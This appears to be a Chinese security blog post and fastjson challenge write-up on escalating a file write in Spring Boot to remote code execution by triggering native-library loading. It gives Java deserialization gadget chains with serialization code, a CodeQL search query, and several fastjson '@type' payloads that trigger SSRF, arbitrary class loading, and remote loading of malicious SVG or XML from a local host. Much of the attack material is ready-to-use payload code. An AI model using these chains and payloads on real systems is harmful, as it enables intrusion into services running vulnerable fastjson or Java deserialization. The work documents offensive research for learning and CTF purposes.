springboot环境下的写文件RCE——so加载篇

渗透技巧1个月前发布 admin
65 0 0
springboot环境下的写文件RCE
springboot环境下的写文件RCE——so劫持篇


1,如何触发加载so?


前文介绍了很多可以劫持的so,如何触发呢?绝大部分System.loadLibrary()都写在静态代码块,只需要简单Class.forName()就行。

springboot环境下的写文件RCE——so加载篇

forName()第二个参数决定了是否加载静态代码块,劫持so只需要第二个参数为true就行,好消息是常用的写法基本都为true。

//触发staticClass.forName("test.User");  Class.forName("test.User"trueThread.currentThread().getContextClassLoader());new test.User();Thread.currentThread().getContextClassLoader().loadClass("test.User").newInstance();//不触发staticClass.forName("test.User"falseThread.currentThread().getContextClassLoader());Thread.currentThread().getContextClassLoader().loadClass("test.User");

第三个参数是ClassLoader,它决定了从哪儿取类,对于tomcat-docbase手法比较重要,必须要用Thread.currentThread().getContextClassLoader(),单String的Class.forName(“xxx”)是不行的。


所以我们的目标就是尽量找既可以so劫持,又可以tomcat-docbase类加载的触发链,常见入口是原生反序列化链和fastjson反序列化链。


2,原生反序列化链

对于原生反序列化链触发so劫持来说,是比较容易的,因为部分so的相关类,本身就实现了Serializable,最典型的就是awt/swing触发System.loadLibrary(“awt”)。随便一个相关类都能触发java.awt.Component的静态代码,进而Toolkit.loadLibraries()->System.loadLibrary(“awt”)

springboot环境下的写文件RCE——so加载篇

那么问题来了Class本身也实现了Serializable,我直接反序列化Class行不行呢?还真不行,可以看到第二个参数刚好为false。

springboot环境下的写文件RCE——so加载篇


所以需要找一些可以触发任意类加载甚至实例化的链,很容易从传统反序列化链中找到。比如c3p0链。

springboot环境下的写文件RCE——so加载篇

以及getter+jdbc中的DriverClassName实例化,例子为jackson+DruidXADataSource

springboot环境下的写文件RCE——so加载篇

当然,这些主流链自己就能RCE了,还费这劲搞什么劫持so,我们需要找到一些纯粹的ClassForName链或者newInstance链。

3,EventListenerList(推荐)

作为新的toString()链常客,很早就注意到它的readObject()可以触发Class.forName()了。

springboot环境下的写文件RCE——so加载篇


    String classname = "Tomcat678910cmdecho";    Class clazz = null;    try {        clazz = Class.forName(classname);    } catch (Exception e) {        ClassPool pool = ClassPool.getDefault();        CtClass ctClass = pool.makeClass(classname);        clazz = ctClass.toClass();    }        EventListenerList eventListenerList = new EventListenerList();    UndoManager undoManager = new UndoManager();    Reflections.setFieldValue(eventListenerList, "listenerList"new Object[]{clazz, undoManager});
    ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));    oos2.writeObject(eventListenerList);    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));    ois.readObject();


4,InternationalFormatter(推荐)

遗憾的InternationalFormatter反序列化链

这个链作为RCE不完整,可以实例化任意类,传入的单String参数却不受控制。这不刚好是一个完美的newInstance链吗?没想到吧,这篇文章就已经有伏笔了。

当然,这些都是超冷门项目,这种刻舟求剑的东西似乎除了CTF没什么实际意义(真的如此吗?)。

        Class clazz = ClassPathXmlApplicationContext.class;        String arg = "http://127.0.0.1:5667/exp.xml";
        InternationalFormatter internationalFormatter = new InternationalFormatter();        DefaultFormatter defaultFormatter = new DefaultFormatter();        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);        jFormattedTextField.setValue(arg);                MessageFormat format = new MessageFormat("{0}");        internationalFormatter.setFormat(format);                Reflections.setFieldValue(internationalFormatter, "ftf", jFormattedTextField);        Reflections.setFieldValue(internationalFormatter, "allowsInvalid"false);        Reflections.setFieldValue(internationalFormatter, "valueClass", clazz);                ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos.writeObject(internationalFormatter);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ois.readObject();

springboot环境下的写文件RCE——so加载篇

5,UIManager

codeql找一下看还有没有其他的

class ReadObject extends Sink{    ReadObject(){        this.hasName("readObject"and         this.isPrivate() and         this.getReturnType() instanceof VoidType            }}
class ClassLoader extends Source {    ClassLoader() {        this.hasName("getContextClassLoader")    }}
class NewInstance extends Source {    NewInstance() {        this.getACallee().hasName("newInstance")    }}
MethodAccess seekSink(Method sourceMethod){    exists(        MethodAccess ma, Method method|        (ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*() and        method = ma.getMethod()) |        if method instanceof ClassLoader        then result = ma        else result = seekSink(method)    )}
from ReadObject sinkselect sink.getDeclaringType(),sinkseekSink(sink)

springboot环境下的写文件RCE——so加载篇

EventListenerList已经说过了,swing相关类JLabel/JLayer/JMenuItem肯定可以触发awt so加载,还能触发任意类加载吗?看看调用栈。

UIManager.initializeAuxiliaryLAFs(Properties) line: 1421 UIManager.initialize() line: 1518 UIManager.maybeInitialize() line: 1483 UIManager.getUI(JComponent) line: 1056 JMenuItem.updateUI() line: 243 JMenuItem.readObject(ObjectInputStream) line: 759 

springboot环境下的写文件RCE——so加载篇

className是从swingProps取出来的,swingProps怎么来的,往前导导。

UIManager.makeSwingPropertiesFilename() line290 UIManager$1.run() line: 1291 AccessController.doPrivileged(PrivilegedAction<T>) line: not available [native method] UIManager.loadSwingProperties() line: 1282 UIManager.initialize() line: 1515 UIManager.maybeInitialize() line: 1483 UIManager.getUI(JComponent) line: 1056 JMenuItem.updateUI() line: 243 JMenuItem.readObject(ObjectInputStream) line: 759 

springboot环境下的写文件RCE——so加载篇

取java.home/conf/swing.properties,key为swing.auxiliarylaf(同理swing.defaultlaf也可以)。测试一下。

/usr/lib/jvm/java-11-openjdk-amd64/conf/swing.properties

写入内容

swing.auxiliarylaf=Tomcat678910cmdecho

同样需要root权限,效果如下。

springboot环境下的写文件RCE——so加载篇

但由于是UIManager初始化触发,所以只能触发一次,第二次过不去这里的校验。

springboot环境下的写文件RCE——so加载篇



6,ProgressMonitorInputStream

JLabel/JLayer/JMenuItem反序列化时能触发updateUI(),实例化时一样也能触发啊,那么fastjson反序列化能够利用这条UIManager链吗?还真可以。

我找到一个关键类javax.swing.ProgressMonitorInputStream,它可以期望java.awt.Component。

springboot环境下的写文件RCE——so加载篇

Component为awt核心类,是很多swing组件的父类,比如JLabel/JLayer/JMenuItem。

但fastjson为了防new JEditorPane().setPage()这个SSRF的setter链,拉黑了javax.swing.J

springboot环境下的写文件RCE——so加载篇

但没关系,在jdk11中,有相当多的非javax.swing.J开头的子类。

比如触发awt so加载。
{ "@type""java.lang.AutoCloseable", "@type""javax.swing.ProgressMonitorInputStream", "parentComponent": {  "@type""java.awt.Button" }}

springboot环境下的写文件RCE——so加载篇

触发JEditorPane SSRF

{  "@type""java.io.InputStream",  "@type""javax.swing.ProgressMonitorInputStream",  "parentComponent": {    "@type""sun.tools.jconsole.HTMLPane",    "page""http://127.0.0.1:5667"  },}

触发UIManager,要加载的类写在swing.properties中

{"@type""java.io.InputStream","@type""javax.swing.ProgressMonitorInputStream","parentComponent": {"@type""javax.swing.colorchooser.DefaultPreviewPanel"}}

springboot环境下的写文件RCE——so加载篇


当然,老生常谈,由于jdk8编译符号的问题,这个fastjson链仅jdk11才能使用。

7,JLabel(推荐)

虽然UIManager已经可以触发任意类加载了,但仅一次触发,还要多写一个文件也太不优雅了。有没有办法可以无限次数触发类加载呢?不知道大家还记不记得当年的CobaltStrike反制漏洞(CVE-2022-39197)。
CVE-2022-39197分析
它本质上和JEditorPane一样是个setter触发的SSRF链,和fastjson非常适配,同样找个子类代替就行。
{"@type""java.io.InputStream","@type""javax.swing.ProgressMonitorInputStream","parentComponent": {        "@type""javax.swing.DefaultListCellRenderer"        "text""<html><img src=http://127.0.0.1:81/1.jpg></html>"        }}

CobaltStrike反制漏洞中,利用了svg远程加载jar实现RCE,JLabel链同样可以。

{"@type""java.io.InputStream","@type""javax.swing.ProgressMonitorInputStream","parentComponent": {        "@type""javax.swing.DefaultListCellRenderer"        "text""<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/RCE.svg'></object></html>"        }}

当然,也可以不用JLabel过渡,直接JSVGCanvas.setURI()

{"@type""java.io.InputStream","@type""javax.swing.ProgressMonitorInputStream","parentComponent": {        "@type""org.apache.batik.swing.JSVGCanvas"        "URI""http://127.0.0.1:81/RCE.svg"        }}

漏洞核心原理是,JLabel的object标签可以触发任意类实例化的,只不过需要是Component子类才能调setter。但我们不需要调setter啊,能够加载或者实例化类就行了。

{"@type""java.io.InputStream","@type""javax.swing.ProgressMonitorInputStream","parentComponent": {        "@type""javax.swing.DefaultListCellRenderer"        "text""<html><object classid='sun.awt.image.JPEGImageDecoder'></object></html>"        }}
springboot环境下的写文件RCE——so加载篇



8,结尾



当然,除了任意类加载触发so之外,在jdk11中还有很多很多链可以触发特定so。so劫持篇就介绍了dns/awt白名单两种办法,其他人也陆陆续续发现了一些。

至此,fastjson写文件挑战2想让大家学习的就差不多结束了。最后肯定还有人想要知道加固版本的预期解是什么。

其实就是找jdk中可以加载的so,在linux系统中并不存在。因此不需要覆盖so,只需要向usr_paths写入一个so,比如/lib/lible.so,再用JLabel链触发就行。

这样的类目前找到两个,我找到的是。

jdk.internal.jline.WindowsTerminal

springboot环境下的写文件RCE——so加载篇

su18找到的是

sun.security.jgss.wrapper.SunNativeProvider

springboot环境下的写文件RCE——so加载篇


那么fastjson写文件挑战2就完美结束了,远程环境关闭,大家可以自行搭建docker在本地上玩。

下一次【ssti挑战】正在筹备中。

本篇文章来源于微信公众号: 珂技知识分享

© 版权声明

相关文章